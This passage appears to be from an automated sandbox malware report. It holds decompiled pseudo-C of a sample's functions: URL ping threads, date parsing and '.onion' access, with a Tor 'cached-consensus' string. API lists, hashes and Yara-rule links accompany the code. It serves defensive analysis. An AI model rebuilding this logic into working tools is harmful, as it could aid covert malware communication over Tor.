				if (_t52 == 0) goto 0x9baad1a2;
				if (_t52 == 0) goto 0x9baace94;
				if (r12d - 1 != 1) goto 0x9baad2b0;
				E00007FF77FF79BAA1F00(_t61, _t85 - 0x58, _t82, _t108);
				_t38 = E00007FF77FF79BAA1F00(_t61, _t85 + 0x68, _t82, _t105);
				asm("movaps xmm6, [esp+0x210]");
				return _t38;
			}

0x7ff79baacd08
0x7ff79baacd0b
0x7ff79baacd0f
0x7ff79baacd13
0x7ff79baacd18
0x7ff79baacd19
0x7ff79baacd23
0x7ff79baacd2a
0x7ff79baacd31
0x7ff79baacd39
0x7ff79baacd42
0x7ff79baacd54
0x7ff79baacd59
0x7ff79baacd59
0x7ff79baacd5c
0x7ff79baacd67
0x7ff79baacd73
0x7ff79baacd78
0x7ff79baacd7d
0x7ff79baacd8d
0x7ff79baacd98
0x7ff79baacda0
0x7ff79baacda5
0x7ff79baacdaa
0x7ff79baacdb5
0x7ff79baacdc2
0x7ff79baacdce
0x7ff79baacdd3
0x7ff79baacdd8
0x7ff79baacde7
0x7ff79baacdea
0x7ff79baacdf0
0x7ff79baacdf4
0x7ff79baace10
0x7ff79baace1a
0x7ff79baace20
0x7ff79baace22
0x7ff79baace25
0x7ff79baace34
0x7ff79baace43
0x7ff79baace45
0x7ff79baace4e
0x7ff79baace51
0x7ff79baace5a
0x7ff79baace5f
0x7ff79baace69
0x7ff79baace73
0x7ff79baace78
0x7ff79baace93

APIs

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

malloc.MSVCRT ref: 00007FF79BAACFBF
sscanf.MSVCRT ref: 00007FF79BAAD010
sscanf.MSVCRT ref: 00007FF79BAAD036
InitializeCriticalSection.KERNEL32 ref: 00007FF79BAAD077
inet_addr.WS2_32 ref: 00007FF79BAAD09F
free.MSVCRT ref: 00007FF79BAAD18C
free.MSVCRT ref: 00007FF79BAAD197
memset.MSVCRT ref: 00007FF79BAAD210
sscanf.MSVCRT ref: 00007FF79BAAD24B
_mkgmtime.MSVCRT ref: 00007FF79BAAD263
time.MSVCRT ref: 00007FF79BAAD29E

Strings

gfffffff, xrefs: 00007FF79BAAD156
%04d-%02d-%02d %02d:%02d:%02d, xrefs: 00007FF79BAAD241

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freesscanf$CriticalInitializeSection_mkgmtimeinet_addrmallocmemsettime
String ID: %04d-%02d-%02d %02d:%02d:%02d$gfffffff
API String ID: 1162402541-2325642954
Opcode ID: 927432546e35f8bb005560bbc36d3a61c6619d8833a628f10ea594d98e260895
Instruction ID: d13aa802a0011045be7bd80a360f3add48c748140d00ce96860e2ba7d0d4e97d
Opcode Fuzzy Hash: 927432546e35f8bb005560bbc36d3a61c6619d8833a628f10ea594d98e260895
Instruction Fuzzy Hash: D2F1C172A08B89A5EB20EF79D8405FDB3A1FB45754F804236DA5D13BA4EF38D644C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAF768 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 276
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF79BAAF768(void* __ecx, void* __edi, void* __ebp, void* __rax, long long __rcx, void* __rdx, void* __r13) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t219;
				void* _t226;
				intOrPtr _t229;
				void* _t256;
				void* _t308;
				long long _t310;
				signed long long _t328;
				long long _t329;
				long long _t330;
				void* _t332;
				signed long long _t349;
				void* _t356;
				long long _t357;
				void** _t358;
				void* _t367;
				void* _t372;
				void* _t373;
				signed long long _t375;
				signed int _t376;
				void* _t395;
				intOrPtr* _t405;
				long long _t408;
				signed long long _t452;
				signed long long _t454;
				signed long long _t455;
				int _t457;
				void* _t458;
				signed long long _t459;
				long long _t460;
				void* _t461;
				int _t465;
				signed long long _t468;
				signed long long _t469;
				void* _t471;
				signed long long _t473;
				signed long long _t474;
				void* _t480;
				long long _t481;
				int _t483;
				void* _t484;
				void* _t485;
				void* _t486;
				void* _t488;
				void* _t489;
				void* _t490;
				void* _t491;
				void* _t492;
				void* _t493;
				void* _t494;
				void* _t495;
				void* _t514;
				signed long long _t515;
				signed long long _t521;
				intOrPtr _t526;
				void* _t527;
				signed long long _t528;
				void* _t529;
				char* _t530;
				intOrPtr _t531;
				long long _t534;
				void* _t537;
				signed long long _t538;
				signed long long _t539;
				void* _t540;
				intOrPtr _t541;
				int _t544;
				signed long long _t547;
				void* _t550;

				_t308 = __rax;
				 *((long long*)(_t488 + 8)) = __rcx;
				_t484 = _t488 - 0x28;
				_t489 = _t488 - 0x128;
				 *((long long*)(_t484 - 0x40)) = 0xfffffffe;
				_t534 = __rcx;
				r12d = 0;
				 *(_t489 + 0x30) = 0;
				 *((intOrPtr*)(_t489 + 0x20)) =  *((intOrPtr*)(__rcx + 0x20));
				_t8 = _t471 + 1; // 0x1
				E00007FF77FF79BAA1720(_t8, __edi, 0x9babd010, "Ping url %s for %d times\n\n",  *((intOrPtr*)(__rcx + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x68], xmm0");
				 *(_t489 + 0x78) = _t356;
				 *((intOrPtr*)(_t484 + 0x78)) = 0;
				_t538 =  *(_t489 + 0x68);
				if ( *((intOrPtr*)(__rcx + 0x20)) <= 0) goto 0x9baafa54;
				_t517 =  *((intOrPtr*)(__rcx + 8));
				E00007FF77FF79BAA1720(1, 0, 0x9babd010, "Ping URL %s\n",  *((intOrPtr*)(__rcx + 8)));
				_t15 = _t484 - 0x20; // -32
				E00007FF77FF79BAA1B5C(_t308, _t15, __rcx);
				malloc(_t544);
				_t458 = _t308;
				 *(_t484 + 0x80) = _t308;
				 *(_t484 + 0x88) = _t308;
				if (_t308 == 0) goto 0x9baaf97f;
				_t18 = _t484 - 0x60; // -96
				 *((long long*)(_t489 + 0x58)) = _t18;
				_t20 = _t484 - 0x20; // -32
				_t21 = _t484 - 0x60; // -96
				E00007FF77FF79BAA1B5C(_t18, _t21, _t20);
				_t22 = _t484 - 0x60; // -96
				_t310 = _t22;
				 *((long long*)(_t484 - 0x38)) = _t310;
				_t24 = _t484 - 0x60; // -96
				E00007FF77FF79BAAFF80(_t310, _t484, _t24, _t537);
				_t357 = _t310;
				 *((long long*)(_t489 + 0x58)) = _t310;
				 *((long long*)(_t484 - 0x68)) = E00007FF77FF79BAB0078;
				 *((long long*)(_t484 - 0x70)) = 0x9bab5748;
				 *((long long*)(_t484 - 0x30)) = _t489 + 0x38;
				 *((long long*)(_t484 - 0x28)) = _t489 + 0x38;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x40], xmm0");
				 *(_t489 + 0x50) = _t471;
				 *((long long*)(_t489 + 0x40)) =  *((intOrPtr*)(_t357 + 8));
				 *((long long*)(_t357 + 8)) =  *((intOrPtr*)(_t489 + 0x40));
				 *((long long*)(_t489 + 0x48)) =  *((intOrPtr*)(_t357 + 0x10));
				 *((long long*)(_t357 + 0x10)) =  *((intOrPtr*)(_t489 + 0x48));
				 *(_t489 + 0x50) =  *((intOrPtr*)(_t357 + 0x18));
				 *((long long*)(_t357 + 0x18)) =  *(_t489 + 0x50);
				_t46 = _t484 - 0x80; // -128
				_t219 = E00007FF77FF79BAA1BDC(E00007FF77FF79BAAFFEC(__ebp, _t308,  *((intOrPtr*)(_t357 + 0x18)), _t357, _t46, _t489 + 0x38, _t458,  *((intOrPtr*)(__rcx + 8)), __r13, _t527), _t357);
				_t47 = _t484 - 0x60; // -96
				E00007FF77FF79BAA1BDC(_t219, _t47);
				r12d = r12d | 0x00000001;
				 *(_t489 + 0x30) = r12d;
				 *_t458 = 0x9bab3bc8;
				 *(_t458 + 8) = _t471;
				 *((intOrPtr*)(_t458 + 0x10)) = 0;
				 *((intOrPtr*)(_t458 + 0x14)) = sil;
				 *_t458 = 0x9bab5718;
				_t52 = _t458 + 0x18; // 0x18
				_t358 = _t52;
				_t358[4] = 0x9bab5728;
				 *_t358 = _t471;
				_t358[6] = _t471;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t484 - 0x70))))))();
				 *( *(_t358[4]))();
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t489 + 0x48))))))();
				_t358[6] =  *((intOrPtr*)(_t484 - 0x68));
				 *((long long*)(_t484 - 0x68)) = _t358[6];
				goto 0x9baaf986;
				 *(_t484 + 0x80) = _t471;
				if ((r12b & 0x00000001) == 0) goto 0x9baaf9a3;
				r12d = r12d & 0xfffffffe;
				 *(_t489 + 0x30) = r12d;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t484 - 0x70)) + 0x18))))();
				_t547 =  *((intOrPtr*)(_t489 + 0x70)) - _t538 >> 3;
				_t395 = _t547 + 1;
				_t328 =  *(_t489 + 0x78) - _t538 >> 3;
				if (_t395 - _t328 <= 0) goto 0x9baafa1f;
				goto 0x9baaf9cb;
				_t473 = 4 + _t328 * 4 << 2;
				if (_t395 - _t473 >= 0) goto 0x9baaf9c7;
				if (_t473 - _t328 <= 0) goto 0x9baafa1d;
				_t474 = _t473 << 3;
				malloc(_t457);
				_t459 = _t328;
				_t226 = memmove(_t471, _t356, _t483);
				free(??);
				_t539 = _t459;
				 *(_t489 + 0x68) = _t459;
				 *((long long*)(_t489 + 0x70)) = (_t547 << 3) + _t459;
				 *(_t489 + 0x78) = _t474 + _t459;
				_t329 =  *(_t484 + 0x80);
				 *((long long*)(_t539 + _t547 * 8)) = _t329;
				_t460 = _t539 + (_t547 + 1) * 8;
				 *((long long*)(_t489 + 0x70)) = _t460;
				_t88 = _t484 - 0x20; // -32
				E00007FF77FF79BAA1BDC(_t226, _t88);
				_t229 =  *((intOrPtr*)(_t484 + 0x78)) + 1;
				 *((intOrPtr*)(_t484 + 0x78)) = _t229;
				if (_t229 -  *((intOrPtr*)(_t534 + 0x20)) < 0) goto 0x9baaf7e3;
				E00007FF77FF79BAA1720(1, 0, 0x9babd010, "Start ping threads...\n", _t517);
				_t367 =  >  ? _t329 : _t460 - _t539 + 7 >> 3;
				_t528 = _t539;
				if (_t367 == 0) goto 0x9baafad7;
				r13d = 0;
				_t461 =  *_t528;
				if ( *((intOrPtr*)(_t461 + 8)) != _t534) goto 0x9baafac7;
				if ( *((intOrPtr*)(_t461 + 0x14)) != r13b) goto 0x9baafac7;
				_t94 = _t461 + 0x10; // 0x10
				_t330 = _t94;
				 *((long long*)(_t489 + 0x28)) = _t330;
				 *((intOrPtr*)(_t489 + 0x20)) = r13d;
				_t518 = _t461;
				CreateThread(??, ??, ??, ??, ??, ??);
				 *((long long*)(_t461 + 8)) = _t330;
				_t529 = _t528 + 8;
				if (_t474 + 1 != _t367) goto 0x9baafa91;
				E00007FF77FF79BAA1720(1, 0, 0x9babd010, "Wait for pings to complete...\n", _t461);
				r12d = 0;
				_t278 = r12d;
				_t372 =  >  ? _t529 : _t460 - _t539 + 7 >> 3;
				if (_t372 == 0) goto 0x9baafb2e;
				WaitForSingleObject(??, ??);
				if (_t461 + 1 != _t372) goto 0x9baafb12;
				if (_t372 == 0) goto 0x9baafb57;
				_t405 =  *_t539;
				if (_t405 == 0) goto 0x9baafb4b;
				 *((intOrPtr*)( *_t405))();
				if (_t529 + 1 != _t372) goto 0x9baafb39;
				E00007FF77FF79BAA1720(1, r12d, 0x9babd010, "All pings completed\n", _t461);
				free(??);
				_t408 =  *((intOrPtr*)(_t484 + 0x70));
				_t490 = _t489 + 0x128;
				_pop(_t550);
				_pop(_t540);
				_pop(_t530);
				_pop(_t465);
				_pop(_t480);
				_pop(_t373);
				_pop(_t485);
				goto E00007FF77FF79BAA1BDC;
				asm("int3");
				asm("int3");
				asm("int3");
				 *((long long*)(_t490 + 8)) = _t408;
				_t491 = _t490 - 0x38;
				 *((long long*)(_t491 + 0x20)) = 0xfffffffe;
				_t492 = _t491 + 0x38;
				goto E00007FF77FF79BAA1BDC;
				asm("int3");
				 *((long long*)(_t492 + 8)) = _t408;
				_t493 = _t492 - 0x38;
				 *((long long*)(_t493 + 0x20)) = 0xfffffffe;
				_t494 = _t493 + 0x38;
				goto E00007FF77FF79BAA1BDC;
				asm("int3");
				_t332 = _t494;
				 *((long long*)(_t332 + 8)) = _t408;
				_t486 = _t332 - 0x5f;
				_t495 = _t494 - 0xe0;
				 *((long long*)(_t486 - 0x61)) = 0xfffffffe;
				asm("movaps [eax-0x48], xmm6");
				_t481 = _t408;
				 *(_t495 + 0x30) =  *(_t495 + 0x30) & 0x00000000;
				 *(_t408 + 8) =  *(_t408 + 8) & 0x00000000;
				 *(_t408 + 0x10) =  *(_t408 + 0x10) & 0x00000000;
				 *(_t408 + 0x18) =  *(_t408 + 0x18) & 0x00000000;
				 *(_t495 + 0x30) = 1;
				E00007FF77FF79BAA1720(1, _t278, 0x9babd010, "Get pings...\n\n", _t518);
				 *(_t486 + 0x6f) = _t495 + 0x38;
				E00007FF77FF79BAA1BA8(_t495 + 0x38, _t495 + 0x38);
				E00007FF77FF79BAAF120(0, __ebp, _t486 - 0x39, _t495 + 0x38, _t518, _t550, _t540);
				E00007FF77FF79BAA1720(1, _t278, 0x9babd010, "%s\n\n",  *((intOrPtr*)(_t486 - 0x31)));
				 *((long long*)(_t495 + 0x20)) = "\n";
				 *((long long*)(_t495 + 0x28)) = 0x9bab37f1;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF77FF79BAA1C90(_t486 - 0x39, _t486 - 0x59);
				_t541 =  *((intOrPtr*)(_t486 - 0x51));
				_t531 =  *((intOrPtr*)(_t486 - 0x49));
				if (_t541 == _t531) goto 0x9baafec7;
				 *((long long*)(_t495 + 0x20)) = 0x9bab53a8;
				 *((long long*)(_t495 + 0x28)) = 0x9bab53a9;
				asm("movaps xmm6, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF77FF79BAA1C90(_t541, _t495 + 0x38);
				if (( *((intOrPtr*)(_t486 - 0x71)) -  *((intOrPtr*)(_t486 - 0x79)) & 0xffffffe0) == 0x40) goto 0x9baafd2b;
				E00007FF77FF79BAA1720(1, _t278, 0x9babd010, "bad URL info: %s\n\n",  *((intOrPtr*)(_t541 + 8)));
				E00007FF77FF79BAA1B5C( *((intOrPtr*)(_t486 - 0x71)) -  *((intOrPtr*)(_t486 - 0x79)) & 0xffffffe0, _t486 - 0x19,  *((intOrPtr*)(_t486 - 0x79)));
				 *(_t486 + 0x6f) =  *(_t486 + 0x6f) & 0x00000000;
				_t452 = "%d";
				sscanf(_t530);
				 *(_t486 + 7) =  *(_t486 + 0x6f);
				_t468 = (_t452 >> 4) + (_t452 >> 4 >> 0x3f);
				_t514 = _t468 + 1;
				_t454 = (_t452 >> 4) + (_t452 >> 4 >> 0x3f);
				if (_t514 - _t454 <= 0) goto 0x9baafe72;
				goto 0x9baafdb0;
				_t349 = 4 + _t454 * 4 << 2;
				if (_t514 - _t349 >= 0) goto 0x9baafdac;
				if (_t349 - _t454 <= 0) goto 0x9baafe72;
				malloc(_t465);
				_t375 = _t349;
				_t526 =  *((intOrPtr*)(_t481 + 0x10));
				_t521 =  *(_t481 + 8);
				if (_t521 - _t526 >= 0) goto 0x9baafe47;
				_t515 = _t521;
				_t455 = _t349;
				 *(_t486 + 0x6f) = _t455;
				 *(_t486 + 0x77) = _t455;
				 *(_t455 + 8) =  *(_t455 + 8) & 0x00000000;
				 *(_t455 + 0x10) =  *(_t455 + 0x10) & 0x00000000;
				 *(_t455 + 0x18) =  *(_t455 + 0x18) & 0x00000000;
				 *(_t455 + 8) =  *((intOrPtr*)(_t515 + 8));
				 *((long long*)(_t515 + 8)) =  *(_t455 + 8);
				 *(_t455 + 0x10) =  *((intOrPtr*)(_t515 + 0x10));
				 *((long long*)(_t515 + 0x10)) =  *(_t455 + 0x10);
				 *(_t455 + 0x18) =  *((intOrPtr*)(_t515 + 0x18));
				 *((long long*)(_t515 + 0x18)) =  *(_t455 + 0x18);
				 *((intOrPtr*)(_t455 + 0x20)) =  *((intOrPtr*)(_t515 + 0x20));
				if (_t521 + 0x28 - _t526 < 0) goto 0x9baafde2;
				free(_t480);
				 *(_t481 + 8) = _t375;
				 *((long long*)(_t481 + 0x10)) = _t375 + (_t468 + _t468 * 4) * 8;
				 *((long long*)(_t481 + 0x18)) = (_t349 + _t349 * 4 << 3) + _t375;
				_t469 = _t468 + _t468 * 4;
				_t376 = _t375 + _t469 * 8;
				 *(_t486 + 0x6f) = _t376;
				E00007FF77FF79BAA1B5C((_t349 + _t349 * 4 << 3) + _t375, _t376, _t486 - 0x19);
				 *(_t376 + 0x20) =  *(_t486 + 7);
				 *((long long*)(_t481 + 0x10)) =  *(_t481 + 8) + 0x28 + _t469 * 8;
				E00007FF77FF79BAA1BDC( *(_t486 + 7), _t486 - 0x19);
				E00007FF77FF79BAA1F00(_t376, _t495 + 0x38, _t481, _t373);
				if (_t541 + 0x20 != _t531) goto 0x9baafce0;
				_t256 = E00007FF77FF79BAA1BDC(E00007FF77FF79BAA1F00(_t376, _t486 - 0x59, _t481, _t485), _t486 - 0x39);
				asm("movaps xmm6, [esp+0xd0]");
				return _t256;
			}

0x7ff79baaf768
0x7ff79baaf768
0x7ff79baaf779
0x7ff79baaf77e
0x7ff79baaf785
0x7ff79baaf78d
0x7ff79baaf792
0x7ff79baaf795
0x7ff79baaf79c
0x7ff79baaf7ab
0x7ff79baaf7b5
0x7ff79baaf7ba
0x7ff79baaf7bd
0x7ff79baaf7c5
0x7ff79baaf7ca
0x7ff79baaf7d4
0x7ff79baaf7dd
0x7ff79baaf7e3
0x7ff79baaf7fa
0x7ff79baaf802
0x7ff79baaf806
0x7ff79baaf811
0x7ff79baaf817
0x7ff79baaf81a
0x7ff79baaf821
0x7ff79baaf82b
0x7ff79baaf831
0x7ff79baaf835
0x7ff79baaf83a
0x7ff79baaf83e
0x7ff79baaf842
0x7ff79baaf848
0x7ff79baaf848
0x7ff79baaf84c
0x7ff79baaf850
0x7ff79baaf858
0x7ff79baaf85d
0x7ff79baaf860
0x7ff79baaf86c
0x7ff79baaf877
0x7ff79baaf880
0x7ff79baaf889
0x7ff79baaf88d
0x7ff79baaf890
0x7ff79baaf896
0x7ff79baaf8a4
0x7ff79baaf8a9
0x7ff79baaf8b6
0x7ff79baaf8bb
0x7ff79baaf8c8
0x7ff79baaf8cd
0x7ff79baaf8d6
0x7ff79baaf8e3
0x7ff79baaf8e9
0x7ff79baaf8ed
0x7ff79baaf8f3
0x7ff79baaf8f7
0x7ff79baaf903
0x7ff79baaf906
0x7ff79baaf90a
0x7ff79baaf90d
0x7ff79baaf918
0x7ff79baaf91b
0x7ff79baaf91b
0x7ff79baaf926
0x7ff79baaf92a
0x7ff79baaf92d
0x7ff79baaf941
0x7ff79baaf952
0x7ff79baaf965
0x7ff79baaf970
0x7ff79baaf974
0x7ff79baaf97d
0x7ff79baaf97f
0x7ff79baaf98a
0x7ff79baaf98c
0x7ff79baaf990
0x7ff79baaf9a1
0x7ff79baaf9a6
0x7ff79baaf9aa
0x7ff79baaf9b4
0x7ff79baaf9bb
0x7ff79baaf9c5
0x7ff79baaf9c7
0x7ff79baaf9ce
0x7ff79baaf9d3
0x7ff79baaf9d5
0x7ff79baaf9dc
0x7ff79baaf9e2
0x7ff79baaf9f5
0x7ff79baaf9fd
0x7ff79baafa03
0x7ff79baafa06
0x7ff79baafa0f
0x7ff79baafa18
0x7ff79baafa1f
0x7ff79baafa26
0x7ff79baafa2d
0x7ff79baafa34
0x7ff79baafa39
0x7ff79baafa3d
0x7ff79baafa45
0x7ff79baafa47
0x7ff79baafa4e
0x7ff79baafa67
0x7ff79baafa82
0x7ff79baafa86
0x7ff79baafa8c
0x7ff79baafa8e
0x7ff79baafa91
0x7ff79baafa99
0x7ff79baafa9f
0x7ff79baafaa1
0x7ff79baafaa1
0x7ff79baafaa5
0x7ff79baafaaa
0x7ff79baafaaf
0x7ff79baafabd
0x7ff79baafac3
0x7ff79baafac7
0x7ff79baafad1
0x7ff79baafaea
0x7ff79baafaef
0x7ff79baafaf2
0x7ff79baafb06
0x7ff79baafb10
0x7ff79baafb1c
0x7ff79baafb2c
0x7ff79baafb37
0x7ff79baafb39
0x7ff79baafb3f
0x7ff79baafb49
0x7ff79baafb55
0x7ff79baafb6a
0x7ff79baafb73
0x7ff79baafb7a
0x7ff79baafb7d
0x7ff79baafb84
0x7ff79baafb86
0x7ff79baafb8a
0x7ff79baafb8c
0x7ff79baafb8d
0x7ff79baafb8e
0x7ff79baafb8f
0x7ff79baafb90
0x7ff79baafb95
0x7ff79baafb96
0x7ff79baafb97
0x7ff79baafb98
0x7ff79baafb9d
0x7ff79baafba1
0x7ff79baafbaa
0x7ff79baafbae
0x7ff79baafbb3
0x7ff79baafbb4
0x7ff79baafbb9
0x7ff79baafbbd
0x7ff79baafbc6
0x7ff79baafbca
0x7ff79baafbcf
0x7ff79baafbd0
0x7ff79baafbd3
0x7ff79baafbe1
0x7ff79baafbe5
0x7ff79baafbec
0x7ff79baafbf4
0x7ff79baafbf8
0x7ff79baafbfb
0x7ff79baafc00
0x7ff79baafc05
0x7ff79baafc0a
0x7ff79baafc14
0x7ff79baafc28
0x7ff79baafc32
0x7ff79baafc46
0x7ff79baafc53
0x7ff79baafc6d
0x7ff79baafc79
0x7ff79baafc85
0x7ff79baafc8a
0x7ff79baafc8f
0x7ff79baafca2
0x7ff79baafca8
0x7ff79baafcac
0x7ff79baafcb3
0x7ff79baafcc0
0x7ff79baafccc
0x7ff79baafcdb
0x7ff79baafce0
0x7ff79baafcf3
0x7ff79baafd0c
0x7ff79baafd22
0x7ff79baafd2f
0x7ff79baafd39
0x7ff79baafd41
0x7ff79baafd4c
0x7ff79baafd55
0x7ff79baafd77
0x7ff79baafd7a
0x7ff79baafd96
0x7ff79baafd9c
0x7ff79baafdaa
0x7ff79baafdac
0x7ff79baafdb3
0x7ff79baafdb8
0x7ff79baafdc9
0x7ff79baafdcf
0x7ff79baafdd2
0x7ff79baafdd6
0x7ff79baafde0
0x7ff79baafde2
0x7ff79baafde9
0x7ff79baafdf0
0x7ff79baafdf4
0x7ff79baafdf8
0x7ff79baafdfd
0x7ff79baafe02
0x7ff79baafe0f
0x7ff79baafe13
0x7ff79baafe1f
0x7ff79baafe23
0x7ff79baafe2f
0x7ff79baafe33
0x7ff79baafe3b
0x7ff79baafe41
0x7ff79baafe4a
0x7ff79baafe50
0x7ff79baafe5c
0x7ff79baafe64
0x7ff79baafe72
0x7ff79baafe76
0x7ff79baafe7a
0x7ff79baafe85
0x7ff79baafe8e
0x7ff79baafe9d
0x7ff79baafea5
0x7ff79baafeb0
0x7ff79baafec1
0x7ff79baafed5
0x7ff79baafedd
0x7ff79baafef6

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

malloc.MSVCRT ref: 00007FF79BAAF811
malloc.MSVCRT ref: 00007FF79BAAF9DC
memmove.MSVCRT ref: 00007FF79BAAF9F5
free.MSVCRT ref: 00007FF79BAAF9FD

Part of subcall function 00007FF79BAAFFEC: malloc.MSVCRT ref: 00007FF79BAB000F

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

CreateThread.KERNEL32 ref: 00007FF79BAAFABD
WaitForSingleObject.KERNEL32 ref: 00007FF79BAAFB1C
free.MSVCRT ref: 00007FF79BAAFB73

Strings

cached-consensus, xrefs: 00007FF79BAAF775
All pings completed, xrefs: 00007FF79BAAFB57
Wait for pings to complete..., xrefs: 00007FF79BAAFAD7
Start ping threads..., xrefs: 00007FF79BAAFA54
Ping URL %s, xrefs: 00007FF79BAAF7E7
Ping url %s for %d times, xrefs: 00007FF79BAAF7A4

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc$Thread$CreateCurrentLocalObjectSingleTimeWait_cwprintf_s_lmemmove
String ID: All pings completed$Ping URL %s$Ping url %s for %d times$Start ping threads...$Wait for pings to complete...$cached-consensus
API String ID: 1567787208-2628093854
Opcode ID: 2e64ce8d75efdbda16febf3374f17c1dcb5f298dd512469b6ee3ec573518bd94
Instruction ID: 9aadd238c9c937e4c120cc00c547a639d404247271c342fe5cae79dcffabc77f
Opcode Fuzzy Hash: 2e64ce8d75efdbda16febf3374f17c1dcb5f298dd512469b6ee3ec573518bd94
Instruction Fuzzy Hash: 0AC1B032A14B5996EB20EF39E8405ADB3A5FB48784F940136DE9D43B78DF38D645C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAEC44 Relevance: 19.8, APIs: 2, Strings: 11, Instructions: 309
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF79BAAEC44(void* __ecx, void* __edi, void* __ebp, long long __rcx, long long __rdx, signed int __r8) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t130;
				void* _t131;
				void* _t136;
				void* _t148;
				void* _t151;
				void* _t155;
				void* _t157;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t191;
				signed long long _t206;
				intOrPtr* _t207;
				void* _t216;
				signed short _t217;
				signed short _t219;
				long long _t269;
				void* _t289;
				long long _t290;
				void* _t292;
				void* _t294;
				void* _t295;
				void* _t297;
				void* _t298;
				signed long long _t305;
				long long _t320;
				void* _t323;
				long long _t324;
				void* _t326;
				long long _t329;
				signed short _t330;
				void* _t332;
				int _t335;
				long long _t336;

				_t171 = __edi;
				_t157 = __ecx;
				_t191 = _t297;
				 *((long long*)(_t191 + 0x10)) = __rdx;
				 *((long long*)(_t191 + 8)) = __rcx;
				_t295 = _t191 - 0x5f;
				_t298 = _t297 - 0xf8;
				 *((long long*)(_t295 - 9)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				_t217 = __r8;
				_t290 = __rdx;
				 *(_t298 + 0x30) = 0;
				_t336 =  *((intOrPtr*)(__r8 + 0x48));
				asm("dec eax");
				_t329 = ( *((intOrPtr*)(__r8 + 0x50)) - _t336 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x50)) - _t336)) + _t336;
				 *((long long*)(_t295 - 0x29)) = _t336;
				 *((long long*)(_t295 - 0x21)) = _t329;
				_t324 =  *((intOrPtr*)(__r8 + 0x68));
				asm("dec eax");
				 *((long long*)(_t298 + 0x50)) = _t324;
				 *((long long*)(_t298 + 0x58)) = ( *((intOrPtr*)(__r8 + 0x70)) - _t324 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x70)) - _t324)) + _t324;
				_t269 =  *((intOrPtr*)(__r8 + 0x88));
				asm("dec eax");
				 *((long long*)(_t295 - 0x59)) = _t269;
				 *((long long*)(_t295 - 0x51)) = ( *((intOrPtr*)(__r8 + 0x90)) - _t269 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x90)) - _t269)) + _t269;
				_t130 =  *(__r8 + 0xa0) & 0x0000ffff;
				 *(_t295 + 0x77) = _t130;
				asm("dec ebp");
				if ((__r8 &  *((intOrPtr*)(__r8 + 0x30)) -  *((intOrPtr*)(__r8 + 0x28)) - 0x00000001) != 8) goto 0x9baaed2e;
				0x9bab024d(_t292, _t216, _t294);
				if (_t130 != 0) goto 0x9baaed2e;
				r14b = 1;
				goto 0x9baaed31;
				r14b = 0;
				_t319 =  *((intOrPtr*)(__r8 + 8));
				_t131 = E00007FF77FF79BAA1720(1, __edi, 0x9babd010, "Accessing \'%s\'\n",  *((intOrPtr*)(__r8 + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t295 + 0x7f) = _t217;
				 *((long long*)(_t295 - 0x49)) = ".onion";
				 *((long long*)(_t295 - 0x41)) = 0x9bab5506;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				r8d = 0;
				E00007FF77FF79BAA17E4(_t131, _t130, 0x9bab5506, _t217, _t295 - 0x29, _t295 - 0x49, _t292, _t295, "Accessing \'%s\'\n");
				asm("movaps xmm6, [esp+0x50]");
				if (0x9bab5506 != _t329 - _t336 - 6) goto 0x9baaee6a;
				_t330 = _t329 - _t336;
				_t205 =  <  ? _t330 : _t330 - 6;
